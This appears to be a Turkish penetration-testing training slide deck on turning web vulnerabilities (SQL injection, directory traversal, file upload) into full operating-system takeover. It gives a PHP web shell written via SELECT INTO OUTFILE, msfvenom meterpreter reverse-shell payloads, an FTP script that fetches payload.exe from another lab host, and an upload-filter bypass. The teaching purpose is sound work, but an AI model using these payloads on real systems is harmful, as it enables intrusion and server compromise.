SlideShare a Scribd company logo
1 of 54
WEB UYGULAMA AÇIKLIKLARINDAN
SİSTEM ELE GEÇİRMEYE GİDEN YOL
İşletim Sistemini Ele Geçirme
Web uygulama açıklıkları sadece veri sızması veya suistimale
imkan tanımaz.
Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne
kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar
sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine
imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha
etkili saldırı yapabilecek bir konuma erişmiş olur.
Bu nedenle web uygulamalarının kritikliklerini değerlendirirken
mutlaka web uygulamasının ve bu uygulamanın kullandığı
veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de
dikkate alınmalıdır.
İşletim Sistemini Ele Geçirme
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web
uygulama açıklıkları şunlardır* (rastlanma sıklığına göre
sıralanmıştır):
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
İşletim Sistemini Ele Geçirme
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu
öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection
yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı
fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web
uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya
yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
SQL Injection Örneği
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Repeater modülü ile SQL Injection açıklığına
sahip olan parametreyi ve MySQL'in SELECT ...
INTO OUTFILE ... özelliğini kullanarak basit bir
PHP uygulamasını web dizinleri içine yazacağız.
Tabi bunun için web sunucusunun bu dizinlere
yazma hakkı bulunması önşart.
; SELECT "<?php System($_REQUEST['cmd']); ?>"
INTO OUTFILE "C:wampwwwcmd.php"
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Uygulama sunucusuna yüklemek üzere bir
meterpreter staged payload üretiyoruz.
msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.163.141 lport=4444 -f exe -o
payload.exe
İşletim Sistemini Ele Geçirme
Bu payload'u ftp sunucusu olarak kullanacağımız
Windows sunucusuna kopyalıyoruz.
İşletim Sistemini Ele Geçirme
Şimdi ftp ile payload.exe'yi web sunucusuna
çekebilmek için yine cmd.php uygulamasını
kullanarak bir ftp script'i oluşturacağız.
open 192.168.1.90
user anonymous pwd
bin
get payload.exe
bye
Bu aşamada interaktif bir shell bağlantımız
olmadığı için ftp'nin bu özelliğini kullanacak ve
script sayesinde tek komutla payload'u hedef
sunucuya yükleyeceğiz.
Bu satırları oluşturmak için defalarca manuel
olarak cmd.php uygulamasını çalıştırmak yerine
Burp Suite'in intruder modülünden
faydalanacağız.
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
Payload dosyamızı web sunucusuna aktarabilmek
için ftp scriptinde belirtilen IP adresinde bir ftp
servisi başlatalım
İşletim Sistemini Ele Geçirme
cmp.php uygulamamız sayesinde ftp istemcisini
ftp.txt script'i ile çalıştıralım ve payload
dosyamızın transferini gerçekleştirelim
İşletim Sistemini Ele Geçirme
Meterpreter handler'ımızı başlatalım ve birinci
stage payload'umuzun bağlantı kurmasını
bekleyelim
İşletim Sistemini Ele Geçirme
Payload.exe dosyasını yazdığımız web uygulaması
sayesinde çalıştırdığımızda reverse TCP bağlantısı
kuruldu ve Meterpreter payload'umuzun ikinci
stage'i hedef sunucuya yüklendi.
İşletim Sistemini Ele Geçirme
SQL Injection açıklığı sayesinde web sunucusuna
shell erişimi sağladık
İşletim Sistemini Ele Geçirme
Tüm işi SQLMAP'e yaptırmak isterseniz
İşletim Sistemini Ele Geçirme
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-
operating-system-full-control-whitepaper-4633857
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Dosya indirme
fonksiyonalitesi
Dizin aşımı saldırısı için
potansiyel bir hedef
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Giden parametre bir
dosya adı gibi görünüyor
İşletim Sistemini Ele Geçirme
Dizin aşım açıklığının bulunup bulunmadığını ve web
uygulama kök dizininin dışına çıkıp çıkamayacağımızı
görmek için Windows işletim sistemlerinde bulunan
başka bir dosyanın içeriğini göremeye çalışalım.
........Windowswin.ini
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'
IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
İşletim Sistemini Ele Geçirme
Nikto'nun tespitleri arasında erişim
bilgileri bulunma ihtimali olan
"config.php" dosyasının adını görebiliriz
İşletim Sistemini Ele Geçirme
MySQL veritabanı için "root" kullanıcı
parolasının "btrisk" olduğunu bu
dosyanın içinde görüyoruz
İşletim Sistemini Ele Geçirme
Sunucunun MySQL servisine uzaktan
erişilebildiği görülüyor
İşletim Sistemini Ele Geçirme
Bu noktadan sonra yazılacak bir web
uygulaması aracılığı ile OS komutları
çalıştırılabilir ve bir payload yüklenerek
sistem ele geçirilebilir.
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı,
sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin
tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı
bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi
bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için
kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini
barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
File Upload Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Uygulamanın resim yükleme
fonksiyonunu kullanıyoruz.
Uygulama resim dosyasının ismini
aşağıdaki gibi oluşturuyor ve bunu
istemci tarafında belirlemiş oluyor.
İşletim Sistemini Ele Geçirme
Bilgilerim sayfasında bulunan linkleri
incelediğimizde fotoğraf dosyasının
bu isimle çekildiğini görüyoruz.
Buradan yüklenen dosyaların
"/profile_photo" dizini altına
yüklendiğini varsayabiliriz.
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
File Upload Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya
yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından
faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası
oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz
uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme
yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu
prosesinin hakları ile sisteme erişeceğiz.
İşletim Sistemini Ele Geçirme
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php
Metasploit aracılığıyla handler'ımıza
bağlanarak 2. stage payload'u
çekecek bir PHP kodunu üretiyoruz.
Kullandığımız payload
php/meterpreter_reverse_tcp
İşletim Sistemini Ele Geçirme
Üretilen payload'un PHP olarak
yorumlanabilmesi için başına ve
sonuna PHP tag eklemesini
yapmamız gerekiyor.
İşletim Sistemini Ele Geçirme
Metasploit multi handler modülü ile
bize bağlanacak stage 1 PHP
payload'umuzdan gelecek bağlantı
talebini bekliyoruz.
İşletim Sistemini Ele Geçirme
Bir dosya yükleme isteği başlatmak
için Browse düğmesine tıklayalım
İşletim Sistemini Ele Geçirme
HTML inpug tag'i içinde dosya tipi
imaj dosyaları olarak kısıtlanmış. Bu
kontrolü HTML içinden de
temizleyebiliriz, giden mesajı Burp
ile kestiğimizde de dosya adı ve
içeriğini düzenleyebiliriz.
İşletim Sistemini Ele Geçirme
Şimdilik bir resim dosyası seçelim ve
dosya yükle düğmesine basalım,
değişikliği kestiğimiz istek üzerinde
gerçekleştirelim.
Burp content miktarının değişikliği
için hesaplamayı yaparak bizim için
Content-Length başlığını
düzenleyecek nasıl olsa.
İşletim Sistemini Ele Geçirme
Orijinal dosya adı parametresi ve
dosya içeriği
İşletim Sistemini Ele Geçirme
Değiştirilmiş dosya adı parametresi
ve dosya içeriği (shell.php)
İşletim Sistemini Ele Geçirme
Dosya yükleme işlemimiz başarı ile
gerçekleşmiş gibi görünüyor.
İşletim Sistemini Ele Geçirme
Resim dosyalarının yazıldığı dizinin /profile_photo dizini
olduğunu daha önce görmüştük. Bu isteklerden birini repeater
modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım.
Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu
istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği
görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.
İşletim Sistemini Ele Geçirme
shell.php sayfasına istekte
bulunduğumuzda payload'umuz aktif hale
gelmiş oluyor
İşletim Sistemini Ele Geçirme
Hedef sunucumuz handler'ımıza bağlandığında artık shell
erişimimizi sağlayabiliriz.
Bu çalışmanın yapıldığı sırada malesef bu payload'un pek
kararlı olmadığınız gözlemledik, ancak metodun çalıştığını
bu örnekle görebiliriz.
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
SQL injection açıklığı için
• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin
verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Payload seçimi, payload yükleme yöntemi seçimi için
• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya
sonradan yüklenmiş dosya transfer komut imkanları
nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload
kullanmayı tercih edeceğiz?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Erişim bilgileri ele geçirildiğinde
• İşletim sistemi üzerinde hangi servisler aktiftir?
Uygulama dilinin tespiti
• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için
Web uygulama açıklıklarından faydalanarak sistem ele geçirme

More Related Content

What's hot

Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıBGA Cyber Security
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiBeyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiKurtuluş Karasu
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12BGA Cyber Security
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımNur Yesilyurt
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Murat KARA
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6BGA Cyber Security
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıAhmet Gürel
 

What's hot (20)

Sızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage KullanımıSızma Testlerinde Armitage Kullanımı
Sızma Testlerinde Armitage Kullanımı
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Sizma testi bilgi toplama
 
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimiBeyaz Şapkalı Hacker başlangıç noktası eğitimi
Beyaz Şapkalı Hacker başlangıç noktası eğitimi
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
 
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim NotlarımWeb Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
Web Uygulama Güvenliği Ve Güvenli Kod Geliştirme Eğitim Notlarım
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
BTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi SunumuBTRisk Adli Bilişim Eğitimi Sunumu
BTRisk Adli Bilişim Eğitimi Sunumu
 
Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-Siber Guvenlik ve Etik Hhacking -2-
Siber Guvenlik ve Etik Hhacking -2-
 
Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2Hacking'in Mavi Tarafı -2
Hacking'in Mavi Tarafı -2
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 

Similar to Web uygulama açıklıklarından faydalanarak sistem ele geçirme

İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18Cihan Özhan
 
File Management System
File Management SystemFile Management System
File Management SystemAnıl Sözeri
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysisAttaporn Ninsuwan
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Mehmet Ince
 
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Univerist
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21Cihan Özhan
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Securitymtimur
 
HTTPKullaniciAsillamaveYetkilendirme.ppt
HTTPKullaniciAsillamaveYetkilendirme.pptHTTPKullaniciAsillamaveYetkilendirme.ppt
HTTPKullaniciAsillamaveYetkilendirme.pptCenkKAYA9
 
System Center Urun Ailesi
System Center Urun AilesiSystem Center Urun Ailesi
System Center Urun AilesiMustafa
 
Microsoft Exchange Server 2010 Genel
Microsoft Exchange Server 2010 GenelMicrosoft Exchange Server 2010 Genel
Microsoft Exchange Server 2010 GenelÇözümPARK
 
vSphere Integrated Containers
vSphere Integrated ContainersvSphere Integrated Containers
vSphere Integrated ContainersVahric Muhtaryan
 

Similar to Web uygulama açıklıklarından faydalanarak sistem ele geçirme (20)

İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18İleri Seviye T-SQL Programlama - Chapter 18
İleri Seviye T-SQL Programlama - Chapter 18
 
Spring&IOC-DC
Spring&IOC-DCSpring&IOC-DC
Spring&IOC-DC
 
File Management System
File Management SystemFile Management System
File Management System
 
45965 php-source-code-analysis
45965 php-source-code-analysis45965 php-source-code-analysis
45965 php-source-code-analysis
 
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kaynak Kod Analizi - 1
 
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1Temel Düzeyde MySQL ve PHP Eğitimleri 1
Temel Düzeyde MySQL ve PHP Eğitimleri 1
 
İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21İleri Seviye T-SQL Programlama - Chapter 21
İleri Seviye T-SQL Programlama - Chapter 21
 
IIS
IISIIS
IIS
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Security
 
Sql Injection
Sql Injection Sql Injection
Sql Injection
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
 
0439
04390439
0439
 
HTTPKullaniciAsillamaveYetkilendirme.ppt
HTTPKullaniciAsillamaveYetkilendirme.pptHTTPKullaniciAsillamaveYetkilendirme.ppt
HTTPKullaniciAsillamaveYetkilendirme.ppt
 
Cp Scom
Cp ScomCp Scom
Cp Scom
 
BTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi EğitimiBTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi Eğitimi
 
System Center Urun Ailesi
System Center Urun AilesiSystem Center Urun Ailesi
System Center Urun Ailesi
 
Microsoft Exchange Server 2010 Genel
Microsoft Exchange Server 2010 GenelMicrosoft Exchange Server 2010 Genel
Microsoft Exchange Server 2010 Genel
 
Spring Framework
Spring FrameworkSpring Framework
Spring Framework
 
Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor? Radore Workshop: Wordpress Nereye Koşuyor?
Radore Workshop: Wordpress Nereye Koşuyor?
 
vSphere Integrated Containers
vSphere Integrated ContainersvSphere Integrated Containers
vSphere Integrated Containers
 

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri

More from BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri (17)

BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
Yazıcı Güvenliği
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
Kali Linux Hakkında Herşey
 
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
 
